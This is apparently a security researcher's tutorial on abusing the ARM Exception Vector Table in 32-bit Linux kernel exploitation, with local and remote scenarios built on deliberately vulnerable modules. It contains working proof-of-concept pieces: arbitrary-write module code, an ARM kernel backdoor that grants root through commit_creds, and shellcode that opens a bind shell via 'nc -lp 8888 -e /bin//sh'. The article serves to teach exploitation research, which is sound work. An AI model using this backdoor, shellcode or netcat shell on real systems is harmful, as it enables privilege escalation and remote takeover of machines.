Introduction
A few months ago, I was writing a Linux kernel exploitation challenge on ARM in an attempt to learn about kernel exploitation and I thought I'd explore things a little. I chose the ARM architecture mainly because I thought it would be fun to look at. This article is going to describe how the ARM Exception Vector Table (EVT) can aid in kernel exploitation in case an attacker has a write what-where primitive. It will be covering a local exploit scenario as well as a remote exploit scenario. Please note that corrupting the EVT has been mentioned in the paper "Vector Rewrite Attack"[1], which briefly talks about how it can be used in NULL pointer dereference vulnerabilities on an ARM RTOS.
The article is broken down into two main sections. First a brief description of the ARM EVT and its implications from an exploitation point of view (please note that a number of things about the EVT will be omitted to keep this article relatively short). We will go over two examples showing how we can abuse the EVT.
I am assuming the reader is familiar with Linux kernel exploitation and knows some ARM assembly (seriously).
ARM Exceptions and the Exception Vector Table
In a few words, the EVT is to ARM what the IDT is to x86. In the ARM world, an exception is an event that causes the CPU to stop or pause from executing the current set of instructions. When this exception occurs, the CPU diverts execution to another location called an exception handler. There are 7 exception types and each exception type is associated with a mode of operation. Modes of operation affect the processor's "permissions" in regards to system resources. There are in total 7 modes of operation. The following table maps some exception types to their associated modes of operation:
Exception | Mode | Description
----------------------------|-----------------------|-------------------------------------------------------------------
Fast Interrupt Request | FIQ | interrupts requiring fast response and low latency.
Interrupt Request | IRQ | used for general-purpose interrupt handling.
Software Interrupt or RESET | Supervisor Mode | protected mode for the operating system.
Prefetch or Data Abort | Abort Mode | when fetching data or an instruction from invalid/unmmaped memory.
Undefined Instruction | Undefined Mode | when an undefined instruction is executed.
The other two modes are User Mode which is self explanatory and System Mode which is a privileged user mode for the operating system
The Exceptions
The exceptions change the processor mode and each exception has access to a set of banked registers. These can be described as a set of registers that exist only in the exception's context so modifying them will not affect the banked registers of another exception mode. Different exception modes have different banked registers:
The Exception Vector Table
The vector table is a table that actually contains control transfer instructions that jump to the respective exception handlers. For example, when a software interrupt is raised, execution is transfered to the software interrupt entry in the table which in turn will jump to the syscall handler. Why is the EVT so interesting to target? Well because it is loaded at a known address in memory and it is writeable* and executable. On 32-bit ARM Linux this address is 0xffff0000. Each entry in the EVT is also at a known offset as can be seen on the following table:
Exception | Address
----------------------------|-----------------------
Reset | 0xffff0000
Undefined Instruction | 0xffff0004
SWI | 0xffff0008
Prefetch Abort | 0xffff000c
Data Abort | 0xffff0010
Reserved | 0xffff0014
IRQ | 0xffff0018
FIQ | 0xffff001c
A note about the Undefined Instruction exception
Overwriting the Undefiend Instruction vector seems like a great plan but it actually isn't because it is used by the kernel. Hard float and Soft float are two solutions that allow emulation of floating point instructions since a lot of ARM platforms do not have hardware floating point units. With soft float, the emulation code is added to the userspace application at compile time. With hard float, the kernel lets the userspace application use the floating point instructions as if the CPU supported them and then using the Undefined Instruction exception, it emulates the instruction inside the kernel.
If you want to read more on the EVT, checkout the references at the bottom of this article, or google it.
Corrupting the EVT
There are few vectors we could use in order to obtain privileged code execution. Clearly, overwriting any vector in the table could potentially lead to code execution, but as the lazy people that we are, let's try to do the least amount of work. The easiest one to overwrite seems to be the Software Interrupt vector. It is executing in process context, system calls go through there, all is well. Let's now go through some PoCs/examples. All the following examples have been tested on Debian 7 ARMel 3.2.0-4-versatile running in qemu.
Local scenario
The example vulnerable module implements a char device that has a pretty blatant arbitrary-write vulnerability( or is it a feature?):
// called when 'write' system call is done on the device file
static ssize_t on_write(struct file *filp,const char *buff,size_t len,loff_t *off)
{
size_t siz = len;
void * where = NULL;
char * what = NULL;
if(siz > sizeof(where))
what = buff + sizeof(where);
else
goto end;
copy_from_user(&where, buff, sizeof(where));
memcpy(where, what, sizeof(void *));
end:
return siz;
}
Basically, with this cool and realistic vulnerability, you give the module an address followed by data to write at that address.
Now, our plan is going to be to backdoor the kernel by overwriting the SWI exception vector with code that jumps to our backdoor code. This code will check for a magic value in a register (say r7 which holds the syscall number) and if it matches, it will elevate the privileges of the calling process. Where do we store this backdoor code ? Considering the fact that we have an arbitrary write to kernel memory, we can either store it in userspace or somewhere in kernel space. The good thing about the latter choice is that if we choose an appropriate location in kernel space, our code will exist as long as the machine is running, whereas with the former choice, as soon as our user space application exits, the code is lost and if the entry in the EVT isn't set back to its original value, it will most likely be pointing to invalid/unmmapped memory which will crash the system. So we need a location in kernel space that is executable and writeable. Where could this be ? Let's take a closer look at the EVT:
As expected we see a bunch of control transfer instructions but one thing we notice about them is that "closest" referenced address is 0xffff0200. Let's take a look what is between the end of the EVT and 0xffff0200:
It looks like nothing is there so we have around 480 bytes to store our backdoor which is more than enough.
The Exploit
Recapitulating our exploit:
1. Store our backdoor at 0xffff0020.
2. Overwrite the SWI exception vector with a branch to 0xffff0020.
3. When a system call occurs, our backdoor will check if r7 == 0xb0000000 and if true, elevate the privileges of the calling process otherwise jump to the normal system call handler.
Here is the backdoor's code:
;check if magic
cmp r7, #0xb0000000
bne exit
elevate:
stmfd sp!,{r0-r12}
mov r0, #0
ldr r3, =0xc0049a00 ;prepare_kernel_cred
blx r3
ldr r4, =0xc0049438 ;commit_creds
blx r4
ldmfd sp!, {r0-r12, pc}^ ;return to userland
;go to syscall handler
exit:
ldr pc, [pc, #980] ;go to normal swi handler
You can find the complete code for the vulnerable module and the exploit here. Run the exploit:
Remote scenario
For this example, we will use a netfilter module with a similar vulnerability as the previous one:
if(ip->protocol == IPPROTO_TCP){
tcp = (struct tcphdr *)(skb_network_header(skb) + ip_hdrlen(skb));
currport = ntohs(tcp->dest);
if((currport == 9999)){
tcp_data = (char *)((unsigned char *)tcp + (tcp->doff * 4));
where = ((void **)tcp_data)[0];
len = ((uint8_t *)(tcp_data + sizeof(where)))[0];
what = tcp_data + sizeof(where) + sizeof(len);
memcpy(where, what, len);
}
}
Just like the previous example, this module has an awesome feature that allows you to write data to anywhere you want. Connect on port tcp/9999 and just give it an address, followed by the size of the data and the actual data to write there. In this case we will also backdoor the kernel by overwriting the SWI exception vector and backdooring the kernel. The code will branch to our shellcode which we will also, as in the previous example, store at 0xffff020. Overwriting the SWI vector is especially a good idea in this remote scenario because it will allow us to switch from interrupt context to process context. So our backdoor will be executing in a context with a backing process and we will be able to "hijack" this process and overwrite its code segment with a bind shell or connect back shell. But let's not do it that way. Let's check something real quick:
Would you look at that, on top of everything else, the EVT is a shared memory segment. It is executable from user land and writeable from kernel land*. Instead of overwriting the code segment of a process that is making a system call, let's just store our code in the EVT right after our first stage and just return there. Every system call goes through the SWI vector so we won't have to wait too much for a process to get caught in our trap.
The Exploit
Our exploit goes:
1. Store our first stage and second stage shellcodes at 0xffff0020 (one after the other).
2. Overwrite the SWI exception vector with a branch to 0xffff0020.
3. When a system call occurs, our first stage shellcode will set the link register to the address of our second stage shellcode (which is also stored in the EVT and which will be executed from userland), and then return to userland.
4. The calling process will "resume execution" at the address of our second stage which is just a bind shell.
Here is the stage 1-2 shellcode:
stage_1:
adr lr, stage_2
push {lr}
stmfd sp!, {r0-r12}
ldr r0, =0xe59ff410 ; intial value at 0xffff0008 which is
; ldr pc, [pc, #1040] ; 0xffff0420
ldr r1, =0xffff0008
str r0, [r1]
ldmfd sp!, {r0-r12, pc}^ ; return to userland
stage_2:
ldr r0, =0x6e69622f ; /bin
ldr r1, =0x68732f2f ; /sh
eor r2, r2, r2 ; 0x00000000
push {r0, r1, r2}
mov r0, sp
ldr r4, =0x0000632d ; -c\x00\x00
push {r4}
mov r4, sp
ldr r5, =0x2d20636e
ldr r6, =0x3820706c
ldr r7, =0x20383838 ; nc -lp 8888 -e /bin//sh
ldr r8, =0x2f20652d
ldr r9, =0x2f6e6962
ldr r10, =0x68732f2f
eor r11, r11, r11
push {r5-r11}
mov r5, sp
push {r2}
eor r6, r6, r6
push {r0,r4,r5, r6}
mov r1, sp
mov r7, #11
swi 0x0
mov r0, #99
mov r7, #1
swi 0x0
You can find the complete code for the vulnerable module and the exploit here. Run the exploit:
Bonus: Interrupt Stack Overflow
It seems like the Interrupt Stack is adjacent to the EVT in most memory layouts. Who knows what kind of interesting things would happen if there was something like a stack overflow ?
A Few Things about all this
- The techniques discussed in this article make the assumption that the attack has knowledge of the kernel addresses which might not always be the case.
- The location where we are storing our shellcode (0xffff0020) might or might not be used by another distro's kernel.
- The exampe codes I wrote here are merely PoCs; they could definitely be improved. For example, on the remote scenario, if it turns out that the init process is the process being hijacked, the box will crash after we exit from the bind shell.
- If you hadn't noticed, the "vulnerabilities" presented here, aren't really vulnerabilities but that is not the point of this article.
*: It seems like the EVT can be mapped read-only and therfore there is the possibility that it might not be writeable in newer/some versions of the Linux kernel.
Final words
Among other things, grsec prevents the modification of the EVT by making the page read-only.
If you want to play with some fun kernel challenges checkout the "kernelpanic" branch on w3challs.
Cheers, @amatcama
References
[1] Vector Rewrite Attack
[2] Recent ARM Security Improvements
[3] Entering an Exception
[4] SWI handlers
[5] ARM Exceptions
[6] Exception and Interrupt Handling in ARM